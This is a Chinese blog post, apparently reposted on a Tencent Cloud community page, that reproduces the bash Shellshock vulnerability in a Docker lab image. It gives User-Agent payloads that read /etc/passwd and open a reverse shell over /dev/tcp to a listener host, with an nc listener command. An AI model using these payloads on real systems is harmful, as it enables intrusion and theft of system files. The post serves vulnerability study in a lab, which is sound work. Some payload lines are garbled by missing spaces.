专栏首页农夫安全docker小试牛刀之bash_shellshock漏洞复现

docker小试牛刀之bash_shellshock漏洞复现

漏洞名称 bash_shellshock

• 首先,问题起因于一个命令ENV。

• 原型:

• env [OPTION]...[NAME=VALUE]... [COMMAND [ARGS]...]

• Man是这么说的:

• Display, set, or remove environment variables,Run a command in amodified environment.

• 我的理解是使用env命令的key=value,首先会改变环境变量key,如果没有会临时创建,注意,这里是临时的改变环境变量。然后就把value后面的内容当做命令执行,类似于PHP中的eval。

利用方法

• 1、pull docker镜像,搭建环境

• docker pull medicean/vulapps:b_bash_shellshock1

• 2、启动镜像

• docker run -d -p 1000:80 medicean/vulapps:b_bash_shellshock1

• 3、使用burp抓包,更改UA

• () { :;};echo ; echo; echo $(/bin/cat/etc/passwd );

• 反弹shell

• () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.12/88880>&1;

• Kali运行

• nc -l -p 8888 -vvv

本文分享自微信公众号 - 网络安全社区悦信安(yuexin_an),作者:农夫安全

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-09-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Linux安装后门程序

    备份原文件: 1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 2、mv /etc/ssh/sshd_confi...

    用户1467662
  • 大家好,给大家介绍一下,这是linux运维安全之SSH安全

    SSH一般用途 提供shell,解决telnet不安全的传输 1、修改默认ssh默认端口 vi /etc/ssh/sshd_config 修改之后重启 >sys...

    用户1467662
  • 浅析XSS的几种测试方法

    0x00 背景 最近看到一个好玩的xss社区,准备通过几个经典的关卡来剖析一下XSS,本文仅提供经典案例。 试玩链接:http://tr.secevery...

    用户1467662
  • 100行代码拆解EventBus核心逻辑(一)

    EventBus 作为一个基础的消息传递组件,了解其核心实现原理是日常开发工作之外需要做的必修课。本系列希望通过自己实现一个类似的消息传递组件 EasyBus ...

    阳仔
  • 秒懂java规则表达式框架Aviator2.3.0

    在我们的业务场景中有一个需求,我们有一个配置功能,该功能需要配置两个变量之间比较大小。使用tab比较难表达,所以就提出了,可以让用户写比较简单的函数进行配置。或...

    居士
  • 使用shell脚本和node命令行工具来自动化部署打包前端项目

    本文主要介绍shell脚本的一些基本用法以及在前端项目中的应用。将围绕以下几点来展开:

    徐小夕
  • Java 开发人员经常犯的 10 大错误

    Arrays.asList()将返回ArrayList一个私有静态类Arrays,不是它java.util.ArrayList类。该java.util.Arra...

    淡定的蜗牛
  • Kotlin Native 也能运行在 Android 当中?

    Kotlin Native 可以编译成 *.so 也就是我们常说的动态库,自然也就可以被 Android 的 Jni 调用,显然 Kotlin Native 官...

    bennyhuo
  • 解决oracle服务占用内存过高的问题

    通常我们在自己电脑上搭建项目环境时,都免不了要安装Oracle。不管你硬件多强悍,都会发现,Oracle服务一旦启用,内存立马吃紧。笔者内存8G,启动一个VS,...

    浩Coding
  • linux 倒序输出

    葫芦

扫码关注云+社区

领取腾讯云代金券